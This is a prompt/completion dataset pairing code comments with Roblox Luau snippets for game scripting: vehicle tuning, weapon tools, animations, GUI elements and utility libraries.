prompt
stringlengths 2
14.7k
| completion
stringlengths 1
99.7k
|
---|---|
--- Iterate through (physical) directory
|
for _, dirFolder in ipairs(script:GetChildren()) do
--- Debug
if debugInit then
print('-----------------------------------------------')
end
--- Setup directory
local dirName = dirFolder.Name
Directory[dirName] = {}
local dirData = Directory[dirName]
--- Folder? Scan it!
for _, module in ipairs(dirFolder:GetDescendants()) do
if module.ClassName == "ModuleScript" then
--- Add module to directory
local moduleData = require(module)
for key, value in pairs(moduleData) do
dirData[key] = value
if debugInit then print(key, value) end
end
end
end
--- Debug
if debugInit then
print('-----------------------------------------------\nLOADED '.. dirName)
end
end
function Directory.NumberIDs(dirFolderName)
return #script[dirFolderName]:GetChildren()
end
|
--[[ Services ]]
|
--
local PlayersService = game:GetService("Players")
local ContextActionService = game:GetService("ContextActionService")
local Settings = UserSettings() -- ignore warning
local GameSettings = Settings.GameSettings
|
--------| Reference |--------
|
local playerGui = game.Players.LocalPlayer:WaitForChild("PlayerGui")
local whitelistedClasses = {"ScreenGui", "Frame", "ScrollingFrame", "ViewportFrame", "ImageLabel", "TextButton", "ImageButton", "TextBox", "TextLabel", "UIListLayout", "UIGridLayout", "UIAspectRatioConstraint"}
|
--Right.InputChanged:Connect(RightTurn)
|
local function TouchThrottle(input, GPE)
if input.UserInputState == Enum.UserInputState.Begin and _IsOn then
_InThrot = 1
_TTick = tick()
else
_InThrot = _Tune.IdleThrottle/100
_BTick = tick()
end
end
Gas.InputBegan:Connect(TouchThrottle)
Gas.InputEnded:Connect(TouchThrottle)
|
--[[Driving Aids]]
|
--
Tune.ABS = false -- Avoids brakes locking up, reducing risk of lowside
Tune.ABSThreshold = 30 -- Slip speed allowed before ABS starts working (in SPS)
Tune.TCS = false -- Avoids wheelspin, reducing risk of highsides
Tune.TCSThreshold = 30 -- Slip speed allowed before TCS starts working (in SPS)
Tune.TCSGradient = 20 -- Slip speed gradient between 0 to max reduction (in SPS)
Tune.TCSLimit = 10 -- Minimum amount of torque at max reduction (in percent)
Tune.SlipClutch = true -- Slips the clutch under heavy braking, reducing unsettling, disabled in Manual transmission mode
Tune.SlipABSThres = 5 -- If ABS is active, how many times the ABS system needs to activate before slipping
Tune.SlipTimeThres = 0.5 -- If ABS is inactive, how much time needs to pass after the brakes lock to activate slipping
|
------------------------------------------------------------------------------------
|
local WaitTime = 1 -- Change this to the amount of time it takes for the button to re-enable.
local modelname = "Swing" -- If your model is not named this, then make the purple words the same name as the model!
|
--[[Susupension]]
|
Tune.SusEnabled = true -- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled
--Front Suspension
Tune.FSusDamping = 20 -- Spring Dampening
Tune.FSusStiffness = 2000 -- Spring Force
Tune.FAntiRoll = 5 -- Anti-Roll (Gyro Dampening)
Tune.FSusLength = 5 -- Suspension length (in studs)
Tune.FPreCompress = 0 -- Pre-compression adds resting length force
Tune.FExtensionLim = 30.0 -- Max Extension Travel (in studs)
Tune.FCompressLim = 0 -- Max Compression Travel (in studs)
Tune.FSusAngle = 80 -- Suspension Angle (degrees from horizontal)
Tune.FWsBoneLen = 5 -- Wishbone Length
Tune.FWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal)
Tune.FAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel)
--[[Lateral]] -.4 , -- positive = outward
--[[Vertical]] -.5 , -- positive = upward
--[[Forward]] 0 } -- positive = forward
--Rear Suspension
Tune.RSusDamping = 1 -- Spring Dampening
Tune.RSusStiffness = 1 -- Spring Force
Tune.FAntiRoll = 0 -- Anti-Roll (Gyro Dampening)
Tune.RSusLength = 10 -- Suspension length (in studs)
Tune.RPreCompress = 0 -- Pre-compression adds resting length force
Tune.RExtensionLim = .3 -- Max Extension Travel (in studs)
Tune.RCompressLim = .1 -- Max Compression Travel (in studs)
Tune.RSusAngle = 80 -- Suspension Angle (degrees from horizontal)
Tune.RWsBoneLen = 5 -- Wishbone Length
Tune.RWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal)
Tune.RAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel)
--[[Lateral]] -.4 , -- positive = outward
--[[Vertical]] -.5 , -- positive = upward
--[[Forward]] 0 } -- positive = forward
--Aesthetics
Tune.SusVisible = false -- Spring Visible
Tune.WsBVisible = false -- Wishbone Visible
Tune.SusRadius = .2 -- Suspension Coil Radius
Tune.SusThickness = .1 -- Suspension Coil Thickness
Tune.SusColor = "Bright red" -- Suspension Color [BrickColor]
Tune.SusCoilCount = 6 -- Suspension Coil Count
Tune.WsColor = "Black" -- Wishbone Color [BrickColor]
Tune.WsThickness = .1 -- Wishbone Rod Thickness
|
--[[
* Determine the common suffix of two strings.
* @param {string} text1 First string.
* @param {string} text2 Second string.
* @return {number} The number of characters common to the end of each string.
--]]
|
local function _diff_commonSuffix(text1: string, text2: string): number
-- Quick check for common null cases.
if #text1 == 0 or #text2 == 0 or strbyte(text1, -1) ~= strbyte(text2, -1) then
return 0
end
-- Binary search.
-- Performance analysis: https://neil.fraser.name/news/2007/10/09/
local pointermin = 1
local pointermax = min(#text1, #text2)
local pointermid = pointermax
local pointerend = 1
while pointermin < pointermid do
if strsub(text1, -pointermid, -pointerend) == strsub(text2, -pointermid, -pointerend) then
pointermin = pointermid
pointerend = pointermin
else
pointermax = pointermid
end
pointermid = floor(pointermin + (pointermax - pointermin) / 2)
end
return pointermid
end
|
-- Dropdowns
|
local dropdownContainer = Instance.new("Frame")
dropdownContainer.Name = "DropdownContainer"
dropdownContainer.BackgroundTransparency = 1
dropdownContainer.BorderSizePixel = 0
dropdownContainer.AnchorPoint = Vector2.new(0.5, 0)
dropdownContainer.ZIndex = -2
dropdownContainer.ClipsDescendants = true
dropdownContainer.Visible = true
dropdownContainer.Parent = iconContainer
dropdownContainer.Active = false
local dropdownFrame = Instance.new("ScrollingFrame")
dropdownFrame.Name = "DropdownFrame"
dropdownFrame.BackgroundTransparency = 1
dropdownFrame.BorderSizePixel = 0
dropdownFrame.AnchorPoint = Vector2.new(0.5, 0)
dropdownFrame.Position = UDim2.new(0.5, 0, 0, 0)
dropdownFrame.Size = UDim2.new(0.5, 2, 1, 0)
dropdownFrame.ZIndex = -1
dropdownFrame.ClipsDescendants = false
dropdownFrame.Visible = true
dropdownFrame.TopImage = dropdownFrame.MidImage
dropdownFrame.BottomImage = dropdownFrame.MidImage
dropdownFrame.VerticalScrollBarInset = Enum.ScrollBarInset.Always
dropdownFrame.VerticalScrollBarPosition = Enum.VerticalScrollBarPosition.Right
dropdownFrame.Parent = dropdownContainer
dropdownFrame.Active = false
local dropdownList = Instance.new("UIListLayout")
dropdownList.Name = "DropdownList"
dropdownList.FillDirection = Enum.FillDirection.Vertical
dropdownList.SortOrder = Enum.SortOrder.LayoutOrder
dropdownList.Parent = dropdownFrame
local dropdownPadding = Instance.new("UIPadding")
dropdownPadding.Name = "DropdownPadding"
dropdownPadding.PaddingRight = UDim.new(0, 2)
dropdownPadding.Parent = dropdownFrame
|
--//Variables\\--
|
local tool = script.Parent
local handle = tool:WaitForChild("Handle")
local contextActionService = game:GetService("ContextActionService")
local player = game.Players.LocalPlayer
local mouse = player:GetMouse()
local character = player.Character or player.CharacterAdded:Wait()
local enabled = true
local specialDB = true
local cursorId = "http://www.roblox.com/asset/?id=251497633"
local hitId = "http://www.roblox.com/asset/?id=70785856"
local configs = tool:WaitForChild("Configurations")
local fireRate = configs:FindFirstChild("FireRate")
local specialRechargeTime = configs:FindFirstChild("SpecialRechargeTime")
local fire = tool:WaitForChild("Fire")
local activateSpecial = tool:WaitForChild("ActivateSpecial")
local hit = tool:WaitForChild("Hit")
|
--[[
LOWGames Studios
Date: 27 October 2022
by Elder
]]
|
--
local u1 = nil;
coroutine.wrap(function()
u1 = require(game.ReplicatedStorage:WaitForChild("Framework"):WaitForChild("Library"));
end)();
return function(p1)
for v1 = #p1, 2, -1 do
local v2 = math.random(v1);
p1[v1] = p1[v2];
p1[v2] = p1[v1];
end;
return p1;
end;
|
--[[Susupension]]
|
Tune.SusEnabled = true -- Sets whether suspension is enabled for PGS
--Front Suspension
Tune.FSusDamping = 500 -- Spring Dampening
Tune.FSusStiffness = 9000 -- Spring Force
Tune.FAntiRoll = 50 -- Anti-Roll (Gyro Dampening)
Tune.FSusLength = 2 -- Suspension length (in studs)
Tune.FPreCompress = .3 -- Pre-compression adds resting length force
Tune.FExtensionLim = .3 -- Max Extension Travel (in studs)
Tune.FCompressLim = .1 -- Max Compression Travel (in studs)
Tune.FSusAngle = 80 -- Suspension Angle (degrees from horizontal)
Tune.FWsBoneLen = 5 -- Wishbone Length
Tune.FWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal)
Tune.FAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel)
--[[Lateral]] -.4 , -- positive = outward
--[[Vertical]] -.5 , -- positive = upward
--[[Forward]] 0 } -- positive = forward
--Rear Suspension
Tune.RSusDamping = 500 -- Spring Dampening
Tune.RSusStiffness = 9000 -- Spring Force
Tune.RAntiRoll = 50 -- Anti-Roll (Gyro Dampening)
Tune.RSusLength = 2 -- Suspension length (in studs)
Tune.RPreCompress = .3 -- Pre-compression adds resting length force
Tune.RExtensionLim = .3 -- Max Extension Travel (in studs)
Tune.RCompressLim = .1 -- Max Compression Travel (in studs)
Tune.RSusAngle = 80 -- Suspension Angle (degrees from horizontal)
Tune.RWsBoneLen = 5 -- Wishbone Length
Tune.RWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal)
Tune.RAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel)
--[[Lateral]] -.4 , -- positive = outward
--[[Vertical]] -.5 , -- positive = upward
--[[Forward]] 0 } -- positive = forward
--Aesthetics
Tune.SusVisible = true -- Spring Visible
Tune.WsBVisible = false -- Wishbone Visible
Tune.SusRadius = .2 -- Suspension Coil Radius
Tune.SusThickness = .1 -- Suspension Coil Thickness
Tune.SusColor = "Bright red" -- Suspension Color [BrickColor]
Tune.SusCoilCount = 6 -- Suspension Coil Count
Tune.WsColor = "Black" -- Wishbone Color [BrickColor]
Tune.WsThickness = .1 -- Wishbone Rod Thickness
|
--Bullet.Transparency=.65
|
Bullet.formFactor=0
Bullet.TopSurface=0
Bullet.BottomSurface=0
mesh=Instance.new("SpecialMesh")
mesh.Parent=Bullet
mesh.MeshType="Brick"
mesh.Name="Mesh"
mesh.Scale=Vector3.new(.15,.15,1)
function check()
sp.Name=ToolName.."-("..tostring(sp.Ammo.Value)..")"
end
function computeDirection(vec)
local lenSquared = vec.magnitude * vec.magnitude
local invSqrt = 1 / math.sqrt(lenSquared)
return Vector3.new(vec.x * invSqrt, vec.y * invSqrt, vec.z * invSqrt)
end
|
-- Connects a function to an event such that it fires asynchronously
|
function Connect(event,func)
return event:connect(function(...)
local a = {...}
spawn(function() func(unpack(a)) end)
end)
end
|
---This server script creates the sounds and also exists so that it can be easily copied into an NPC and create sounds for that NPC.
--Remove the local script if you copy this into an NPC.
|
function waitForChild(parent, childName)
local child = parent:findFirstChild(childName)
if child then return child end
while true do
child = parent.ChildAdded:wait()
if child.Name==childName then return child end
end
end
function newSound(name, id)
local sound = Instance.new("Sound")
sound.SoundId = id
sound.Name = name
sound.archivable = false
sound.Parent = script.Parent.Head
return sound
end
|
-- Local Variables
|
local MapSave = Instance.new('Folder')
MapSave.Parent = ServerStorage
MapSave.Name = 'MapSave'
|
--// Event Connections
|
L_14_.OnClientEvent:connect(function(L_22_arg1)
if L_22_arg1.TeamColor == L_1_.TeamColor and L_22_arg1.Character and L_22_arg1.Character:FindFirstChild('Head') then
if L_22_arg1.Character.Saude.FireTeam.SquadName.Value ~= '' then
spawnTag(L_22_arg1.Character, L_22_arg1.Character.Saude.FireTeam.SquadColor.Value)
else
spawnTag(L_22_arg1.Character, Color3.fromRGB(255,255,255))
end
end;
if L_22_arg1.TeamColor ~= L_1_.TeamColor then
if L_22_arg1.Character and L_22_arg1.Character:FindFirstChild('Head') and L_22_arg1.Character.Head:FindFirstChild('TeamTag') then
L_22_arg1.Character.Head.TeamTag:Destroy()
end
end;
end)
|
----------------------------------------------------------------------------------------------------
-----------------=[ RECOIL & PRECISAO ]=------------------------------------------------------------
----------------------------------------------------------------------------------------------------
|
,VRecoil = {0,0} --- Vertical Recoil
,HRecoil = {0,0} --- Horizontal Recoil
,AimRecover = 0 ---- Between 0 & 1
,RecoilPunch = 0
,VPunchBase = 0 --- Vertical Punch
,HPunchBase = 0 --- Horizontal Punch
,DPunchBase = 0 --- Tilt Punch | useless
,AimRecoilReduction = 0 --- Recoil Reduction Factor While Aiming (Do not set to 0)
,PunchRecover = 0
,MinRecoilPower = 0
,MaxRecoilPower = 0
,RecoilPowerStepAmount = 0
,MinSpread = 0 --- Min bullet spread value | Studs
,MaxSpread = 0 --- Max bullet spread value | Studs
,AimInaccuracyStepAmount = 0
,WalkMultiplier = 0 --- Bullet spread based on player speed
,SwayBase = 0.25 --- Weapon Base Sway | Studs
,MaxSway = 2 --- Max sway value based on player stamina | Studs
|
-- Main loop
|
spawn(function()
while wait(cooldown) do
if check_movement() then
footstepsSound.SoundId = get_material()
footstepsSound.Parent = nil
footstepsSound.Parent = rootPart
end
end
end)
|
-- int rd_int_basic(string src, int s, int e, int d)
-- @src - Source binary string
-- @s - Start index of a little endian integer
-- @e - End index of the integer
-- @d - Direction of the loop
|
local function rd_int_basic(src, s, e, d)
local num = 0
-- if bb[l] > 127 then -- signed negative
-- num = num - 256 ^ l
-- bb[l] = bb[l] - 128
-- end
for i = s, e, d do num = num + string.byte(src, i, i) * 256 ^ (i - s) end
return num
end
|
-------------------------
|
function onClicked()
R.BrickColor = BrickColor.new("Really red")
C.One.BrickColor = BrickColor.new("Really black")
C.Two.BrickColor = BrickColor.new("Really black")
C.Three.BrickColor = BrickColor.new("Really black")
C.MIC.BrickColor = BrickColor.new("Really black")
C.A.BrickColor = BrickColor.new("Really black")
C.B.BrickColor = BrickColor.new("Really black")
C.M.BrickColor = BrickColor.new("Really black")
end
script.Parent.ClickDetector.MouseClick:connect(onClicked)
|
--local root = shark:WaitForChild("HumanoidRootPart")
|
local root = shark.PrimaryPart
local bodyPos = root:WaitForChild("BodyPosition")
local bodyGyro = root:WaitForChild("BodyGyro")
local stance,target = "wander",nil
local scanInterval = 2
local destination = (root.CFrame*CFrame.new(0,0,5)).p
local orientation = root.CFrame
local holdDuration = 5
local holdOrder = 0
local lastAdjustment,nextAdjustment = 0,25
function MakeAMove()
if (tick()-holdOrder < holdDuration) then return end
if stance == "wander" then
local collisionRay = Ray.new(
(root.CFrame*CFrame.new(0,100,-15)).p ,
Vector3.new(0,-1000,0)
)
local part,pos,norm,mat = workspace:FindPartOnRayWithIgnoreList(collisionRay,shark:GetDescendants())
|
-----------------
--| Constants |--
-----------------
|
local BLAST_RADIUS = 25 -- Blast radius of the explosion
local BLAST_DAMAGE = 900 -- Amount of damage done to players
local BLAST_FORCE = 10000 -- Amount of force applied to parts
local IGNORE_LIST = {rocket = 1, handle = 1, effect = 1, water = 1} -- Rocket will fly through things named these
|
-- ~60 c/s
|
game["Run Service"].Heartbeat:connect(function(dt)
_IsOn = script.Parent.IsOn.Value
_InControls = script.Parent.ControlsOpen.Value
--Steering
Steering(dt)
--Gear
Gear()
--Power
Engine(dt)
--Update External Values
script.Parent.Values.Gear.Value = _CGear
script.Parent.Values.RPM.Value = _RPM
script.Parent.Values.Boost.Value = ((_TBoost/2)*_TPsi)+((_SBoost/2)*_SPsi)
script.Parent.Values.BoostTurbo.Value = (_TBoost/2)*_TPsi
script.Parent.Values.BoostSuper.Value = (_SBoost/2)*_SPsi
script.Parent.Values.HpNatural.Value = _NH
script.Parent.Values.HpElectric.Value = _EH
script.Parent.Values.HpTurbo.Value = _TH
script.Parent.Values.HpSuper.Value = _SH
script.Parent.Values.HpBoosted.Value = _BH
script.Parent.Values.Horsepower.Value = _HP
script.Parent.Values.TqNatural.Value = _NT/_Tune.Ratios[_CGear+1]/fFD/hpScaling
script.Parent.Values.TqElectric.Value = _ET/_Tune.Ratios[_CGear+1]/fFD/hpScaling
script.Parent.Values.TqTurbo.Value = _TT/_Tune.Ratios[_CGear+1]/fFD/hpScaling
script.Parent.Values.TqSuper.Value = _ST/_Tune.Ratios[_CGear+1]/fFD/hpScaling
script.Parent.Values.TqBoosted.Value = script.Parent.Values.TqTurbo.Value+script.Parent.Values.TqSuper.Value
script.Parent.Values.Torque.Value = script.Parent.Values.TqNatural.Value+script.Parent.Values.TqElectric.Value+script.Parent.Values.TqBoosted.Value
script.Parent.Values.TransmissionMode.Value = _TMode
script.Parent.Values.Throttle.Value = _GThrot
script.Parent.Values.Brake.Value = _GBrake
if script.Parent.Values.AutoClutch.Value then
script.Parent.Values.Clutch.Value = _Clutch
end
script.Parent.Values.SteerC.Value = _GSteerC
script.Parent.Values.SteerT.Value = _GSteerT
script.Parent.Values.PBrake.Value = _PBrake
script.Parent.Values.TCS.Value = _TCS
script.Parent.Values.TCSActive.Value = _TCSActive
script.Parent.Values.TCSAmt.Value = 1-_TCSAmt
script.Parent.Values.ABS.Value = _ABS
script.Parent.Values.ABSActive.Value = _fABSActive or _rABSActive
script.Parent.Values.MouseSteerOn.Value = _MSteer
script.Parent.Values.Velocity.Value = bike.DriveSeat.Velocity
end)
while wait(.0667) do
if _TMode == "Auto" then Auto() end
end
|
-- mouse.Button1Down:connect(function() onButton1Down(mouse) end)
|
mouse.Button1Up:connect(function() nofiar(mouse) end)
mouse.KeyDown:connect(KeyDownFunctions)
c = Tool.Parent:findFirstChild("Crouch")
while true do
wait()
end
end
function onUnequippedLocal(mouse)
nofiar(mouse)
end
Tool.Unequipped:connect(onUnequippedLocal)
Tool.Equipped:connect(onEquippedLocal)
script.Parent.Activated:connect(onActivated)
Tool.Equipped:connect(Equip)
Tool.Unequipped:connect(Unequip)
Tool.Unequipped:connect(Uncrouch)
|
--[=[
Add to spring position to adjust for velocity of target. May have to set clock to time().
@param velocity T
@param dampen number
@param speed number
@return T
]=]
|
function SpringUtils.getVelocityAdjustment(velocity, dampen, speed)
assert(velocity, "Bad velocity")
assert(dampen, "Bad dampen")
assert(speed, "Bad speed")
return velocity*(2*dampen/speed)
end
|
--!nonstrict
--[[
Gamepad Character Control - This module handles controlling your avatar using a game console-style controller
2018 PlayerScripts Update - AllYourBlox
--]]
|
local UserInputService = game:GetService("UserInputService")
local ContextActionService = game:GetService("ContextActionService")
|
--[[
@class BlendTextbox.story
]]
|
local require = require(game:GetService("ServerScriptService"):FindFirstChild("LoaderUtils", true).Parent).load(script)
local Blend = require("Blend")
local Maid = require("Maid")
return function(target)
local maid = Maid.new()
local state = Blend.State("hi")
maid:GiveTask((Blend.New "Frame" {
Size = UDim2.new(1, 0, 1, 0);
BackgroundTransparency = 1;
Parent = target;
[Blend.Children] = {
Blend.New "TextBox" {
Size = UDim2.new(0, 200, 0, 50);
Text = state;
[Blend.OnChange "Text"] = state;
[Blend.OnEvent "Focused"] = function()
print("Focused")
end;
[function(inst) return inst.Focused end] = function()
print("Focused (via func)")
end;
-- this also works
[function(inst) return inst:GetPropertyChangedSignal("Text") end] = function()
print("Property changed from :GetPropertyChangedSignal()")
end;
};
Blend.New "TextBox" {
Size = UDim2.new(0, 200, 0, 50);
[Blend.OnChange "Text"] = state; -- read state
Text = state; -- write state
};
Blend.New "UIListLayout" {
Padding = UDim.new(0, 10);
};
};
}):Subscribe())
return function()
maid:DoCleaning()
end
end
|
-- Folders --
|
local Remotes = RS.Remotes
local Modules = RS.Modules
|
--// Tables
|
local L_95_ = {
"285421759";
"151130102";
"151130171";
"285421804";
"287769483";
"287769415";
"285421687";
"287769261";
"287772525";
"287772445";
"287772351";
"285421819";
"287772163";
}
local L_96_ = {
"";
"";
"";
"";
"";
"";
"";
"";
"";
"";
"";
"";
"";
"";
"";
"";
"";
"";
"";
"";
"";
}
local L_97_ = {
"";
"";
"";
"";
"";
"";
"";
"";
"";
"";
"";
"";
"";
"";
"";
"";
"";
"";
"";
"";
"";
"";
"";
}
local L_98_ = workspace:FindFirstChild("BulletModel: " .. L_2_.Name) or Instance.new("Folder", workspace)
L_98_.Name = "BulletModel: " .. L_2_.Name
local L_99_
local L_100_ = L_24_.Ammo
local L_101_ = L_24_.StoredAmmo * L_24_.MagCount
local L_102_ = L_24_.ExplosiveAmmo
IgnoreList = {
L_3_,
L_98_,
L_5_
}
|
-- << COMMANDS >>
|
local module = {
-----------------------------------
{
Name = "";
Aliases = {};
Prefixes = {settings.Prefix};
Rank = 1;
RankLock = false;
Loopable = false;
Tags = {};
Description = "";
Contributors = {};
--
Args = {};
Function = function(speaker, args)
end;
UnFunction = function(speaker, args)
end;
--
};
-----------------------------------
{
Name = "";
Aliases = {};
Prefixes = {settings.Prefix};
Rank = 1;
RankLock = false;
Loopable = false;
Tags = {};
Description = "";
Contributors = {};
--
Args = {};
--[[
ClientCommand = true;
FireAllClients = true;
BlockWhenPunished = true;
PreFunction = function(speaker, args)
end;
Function = function(speaker, args)
wait(1)
end;
--]]
--
};
-----------------------------------
};
return module
|
--//Controller//--
|
JarBody.Touched:Connect(function(Hit)
local Humanoid = Hit.Parent:FindFirstChild("Humanoid")
if Humanoid then
if not Configuration.OnCD then
Configuration.OnCD = true
if JarBody.Transparency >= 1 then
Jar:Destroy()
else
JarBody.Transparency = JarBody.Transparency + 0.1
end
task.wait(Configuration.CDTime)
Configuration.OnCD = false
end
end
end)
|
-- Modules
|
local ModuleScripts = ReplicatedStorage:WaitForChild("ModuleScripts")
local GameSettings = require(ModuleScripts:WaitForChild("GameSettings"))
local Data = ServerScriptService.Data
local DataStore = require(Data.Modules.DataStore)
local PlayerManagement = ServerScriptService.PlayerManagement
local PlayerManagementModules = PlayerManagement.ModuleScripts
local ParticleController = require(PlayerManagementModules.ParticleController)
|
-- functions
|
function stopAllAnimations()
local oldAnim = currentAnim
currentAnim = ""
if (currentAnimKeyframeHandler ~= nil) then
currentAnimKeyframeHandler:disconnect()
end
if (currentAnimTrack ~= nil) then
currentAnimTrack:Stop()
currentAnimTrack:Destroy()
currentAnimTrack = nil
end
return oldAnim
end
function setAnimationSpeed(speed)
if speed ~= currentAnimSpeed then
currentAnimSpeed = speed
currentAnimTrack:AdjustSpeed(currentAnimSpeed)
end
end
function keyFrameReachedFunc(frameName)
if (frameName == "End") then
|
--[=[
Yields the current thread until the given Promise completes. Returns the Promise's status, followed by the values that the promise resolved or rejected with.
@yields
@return Status -- The Status representing the fate of the Promise
@return ...any -- The values the Promise resolved or rejected with.
]=]
|
function Promise.prototype:awaitStatus()
self._unhandledRejection = false
if self._status == Promise.Status.Started then
local thread = coroutine.running()
self
:finally(function()
task.spawn(thread)
end)
-- The finally promise can propagate rejections, so we attach a catch handler to prevent the unhandled
-- rejection warning from appearing
:catch(
function() end
)
coroutine.yield()
end
if self._status == Promise.Status.Resolved then
return self._status, unpack(self._values, 1, self._valuesLength)
elseif self._status == Promise.Status.Rejected then
return self._status, unpack(self._values, 1, self._valuesLength)
end
return self._status
end
local function awaitHelper(status, ...)
return status == Promise.Status.Resolved, ...
end
|
-- Decompiled with the Synapse X Luau decompiler.
|
--NOTE: Currently in beta! Not representative of final product.
local u1 = require(game.ReplicatedStorage:WaitForChild("Resources"));
while (not u1.Loaded) do
game:GetService("RunService").Heartbeat:Wait();
end
local u2 = Random.new();
local u3 = {
"Energy",
"Gems",
"Native"
};
local t_Parent_1 = script.Parent;
local f_CreatePower;
f_CreatePower = function() -- [line 9] CreatePower
--[[
Upvalues:
[1] = u1
[2] = u3
[3] = t_Parent_1
[4] = u2
--]]
local v1 = u1.Directory.Powers[u1.Functions.table.random(u3)];
local v2 = u1.Functions.table.random(v1.tiers);
local v3 = script.PowerFrame:Clone();
local v4 = 0 + ((v3.AbsoluteSize.X * 0.5) / t_Parent_1.AbsoluteSize.X);
local v5 = 1 - ((v3.AbsoluteSize.X * 0.5) / t_Parent_1.AbsoluteSize.X);
local v6 = 0 + ((v3.AbsoluteSize.Y * 0.5) / t_Parent_1.AbsoluteSize.Y);
local v7 = 1 - ((v3.AbsoluteSize.Y * 0.5) / t_Parent_1.AbsoluteSize.Y);
v3.power.Image = v1.icon;
v3.power.level.Text = v2.title;
v3.Position = UDim2.new(u2:NextNumber(v4, v5), 0, u2:NextNumber(v6, v7), 0);
v3.Parent = t_Parent_1;
local v8 = coroutine.wrap;
local u4 = v3;
v8(function() -- [line 24] anonymous function
--[[
Upvalues:
[1] = u4
[2] = u1
--]]
local v9 = u4.Size;
u4.Size = UDim2.new();
local v10 = u1.Functions.Tween;
local v11 = u4;
local v12 = {
1,
7,
1,
0,
true
};
local v13 = {};
v13.Size = v9;
v13.Rotation = 0;
v10(v11, v12, v13).Completed:Wait();
local v14 = u1.Functions.Tween;
local v15 = u4;
local v16 = {
1,
5,
1,
0,
true
};
local v17 = {};
v17.Size = UDim2.new();
v14(v15, v16, v17).Completed:Wait();
u4:Destroy();
end)();
end;
CreatePower = f_CreatePower;
while true do
CreatePower();
u1.Functions.Wait(0.5);
end
|
--[[Engine]]
|
--Torque Curve
Tune.Horsepower = 260 -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 6000 -- Use sliders to manipulate values
Tune.Redline = 6700 -- Copy and paste slider values into the respective tune values
Tune.EqPoint = 5500
Tune.PeakSharpness = 7.5
Tune.CurveMult = 0.16
--Incline Compensation
Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Misc
Tune.RevAccel = 150 -- RPM acceleration when clutch is off
Tune.RevDecay = 75 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 3 -- Percent throttle at idle
Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
|
-- Detectors
|
local handler = DriveSeat.AirbagFilter
local side = nil
local sent = false
local speedVar = nil
function handle(x, y)
if x == nil then print('Errored!') end
if sent == false then
if speedVar > 20 and DriveSeat.Parent.Electrics.Value == true then
if y.CanCollide == true then
handler:FireServer(x)
script.Parent.epicFrame.Visible = true
DriveSeat.FE_Lights:FireServer('blinkers', 'Hazards')
wait(2)
sent = false
end
end
end
end
|
--Rescripted by Luckymaxer
--EUROCOW WAS HERE BECAUSE I MADE THE PARTICLES AND THEREFORE THIS ENTIRE SWORD PRETTY AND LOOK PRETTY WORDS AND I'D LIKE TO DEDICATE THIS TO MY FRIENDS AND HI LUCKYMAXER PLS FIX SFOTH SWORDS TY LOVE Y'ALl
|
Tool = script.Parent
Handle = Tool:WaitForChild("Handle")
Players = game:GetService("Players")
Debris = game:GetService("Debris")
RunService = game:GetService("RunService")
DamageValues = {
BaseDamage = 5,
SlashDamage = 12,
LungeDamage = 16
}
Damage = DamageValues.BaseDamage
Grips = {
Up = CFrame.new(0, 0, -1.70000005, 0, 0, 1, 1, 0, 0, 0, 1, 0),
Out = CFrame.new(0, 0, -1.70000005, 0, 1, 0, 1, -0, 0, 0, 0, -1)
}
Sounds = {
Slash = Handle:WaitForChild("SwordSlash"),
Lunge = Handle:WaitForChild("SwordLunge"),
Unsheath = Handle:WaitForChild("Unsheath")
}
ToolEquipped = false
Tool.Grip = Grips.Up
Tool.Enabled = true
function IsTeamMate(Player1, Player2)
return (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor)
end
function TagHumanoid(humanoid, player)
local Creator_Tag = Instance.new("ObjectValue")
Creator_Tag.Name = "creator"
Creator_Tag.Value = player
Debris:AddItem(Creator_Tag, 2)
Creator_Tag.Parent = humanoid
end
function UntagHumanoid(humanoid)
for i, v in pairs(humanoid:GetChildren()) do
if v:IsA("ObjectValue") and v.Name == "creator" then
v:Destroy()
end
end
end
function Blow(Hit)
if not Hit or not Hit.Parent or not CheckIfAlive() or not ToolEquipped then
return
end
local RightArm = Character:FindFirstChild("Right Arm")
if not RightArm then
return
end
local RightGrip = RightArm:FindFirstChild("RightGrip")
if not RightGrip or (RightGrip.Part0 ~= Handle and RightGrip.Part1 ~= Handle) then
return
end
local character = Hit.Parent
if character == Character then
return
end
local humanoid = character:FindFirstChild("Humanoid")
if not humanoid or humanoid.Health == 0 then
return
end
local player = Players:GetPlayerFromCharacter(character)
if player and (player == Player or IsTeamMate(Player, player)) then
return
end
UntagHumanoid(humanoid)
TagHumanoid(humanoid, Player)
humanoid:TakeDamage(Damage)
end
function Attack()
Damage = DamageValues.SlashDamage
Sounds.Slash:Play()
local Anim = Instance.new("StringValue")
Anim.Name = "toolanim"
Anim.Value = "Slash"
Anim.Parent = Tool
end
function Lunge()
Damage = DamageValues.LungeDamage
Sounds.Lunge:Play()
local Anim = Instance.new("StringValue")
Anim.Name = "toolanim"
Anim.Value = "Lunge"
Anim.Parent = Tool
if CheckIfAlive() then
local Force = Instance.new("BodyVelocity")
Force.velocity = Vector3.new(0, 10, 0)
Force.maxForce = Vector3.new(0, 4000, 0)
Debris:AddItem(Force, 0.4)
Force.Parent = Torso
end
wait(0.2)
Tool.Grip = Grips.Out
wait(0.6)
Tool.Grip = Grips.Up
Damage = DamageValues.SlashDamage
end
Tool.Enabled = true
LastAttack = 0
function Activated()
if not Tool.Enabled or not ToolEquipped or not CheckIfAlive() then
return
end
Tool.Enabled = false
Tick = RunService.Stepped:wait()
if (Tick - LastAttack < 0.2) then
Lunge()
else
Attack()
end
LastAttack = Tick
--wait(0.5)
Tool.Enabled = true
end
function CheckIfAlive()
return (((Player and Player.Parent and Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Torso and Torso.Parent) and true) or false)
end
function Equipped()
Character = Tool.Parent
Player = Players:GetPlayerFromCharacter(Character)
